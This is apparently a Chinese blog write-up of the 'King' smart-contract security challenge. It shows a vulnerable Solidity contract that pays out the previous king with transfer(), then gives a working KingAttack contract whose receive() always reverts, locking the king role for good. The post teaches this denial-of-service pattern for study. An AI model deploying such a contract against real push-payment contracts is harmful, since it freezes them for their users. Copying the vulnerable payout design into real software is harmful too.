# 安全审计-转账的疑惑

By [Canvie.crypto](https://paragraph.com/@canvie-crypto) · 2025-07-11

---

在King这个题目中，只要转账金额大于当前King之前转账的金额时，你就成了新的King，同时你转的金额会全部贡献给前一个King。看代码

    contract King {
        address king;
        uint256 public prize;
        address public owner;
    
        constructor() payable {
            owner = msg.sender;
            king = msg.sender;
            prize = msg.value;
        }
    
        receive() external payable {
            require(msg.value >= prize || msg.sender == owner);
            payable(king).transfer(msg.value);
            king = msg.sender;
            prize = msg.value;
        }
    
        function _king() public view returns (address) {
            return king;
        }
    }
    

  
仔细分析代码，逻辑上没有问题。整个行为最多的就是转账。那先尝试从转账入手攻击。自己转大金额过去，但是无法控制其他人会转更大的金额，这个有点买官的意思。这个是个无底洞，显然是不行的。在转账相关联的函数中有receive和fallback，是在接收转账的时候必须要使用的，如果是没有这2个函数，就是天然拒绝转账，将会revert，那么这个交易就直接失效，当前发起交易的账号就没法成为新的King。因此只要在这2个函数做文章就可以达到锁定King的效果了。

    contract KingAttack {
       address public king;
    
        constructor(address _king) payable  {
          king = _king;
        }
    
        function attack(uint256 amount) public payable  {
          require(address(this).balance >= amount, "Not enough");  
          (bool success,) = king.call{value: amount}("");
          require(success, "attack failed");
        }
    
        receive() external payable { 
            // 想成为新的King，就要转账给本王，我可以拒绝接受转账，国王的位置就bao'zhu
            revert("I am the King forever, You can not!!");
        }
    
    }
    

  
以上就是攻击代码，只要在receive中revert就可以锁定King。使用fallback函数也可以达到同样的效果，只是fallback的触发条件更多（转账，无效调用等），不如receive来的精准。如果没有这两个函数也是拒绝接受转账。使用receive是为了方便可以在拒绝后增加后续的操作，兼容性和扩展性更强，就像我上面的一个永远的王的宣告：）

---

*Originally published on [Canvie.crypto](https://paragraph.com/@canvie-crypto/Yjx15zklwuPFNrpyjk3t)*
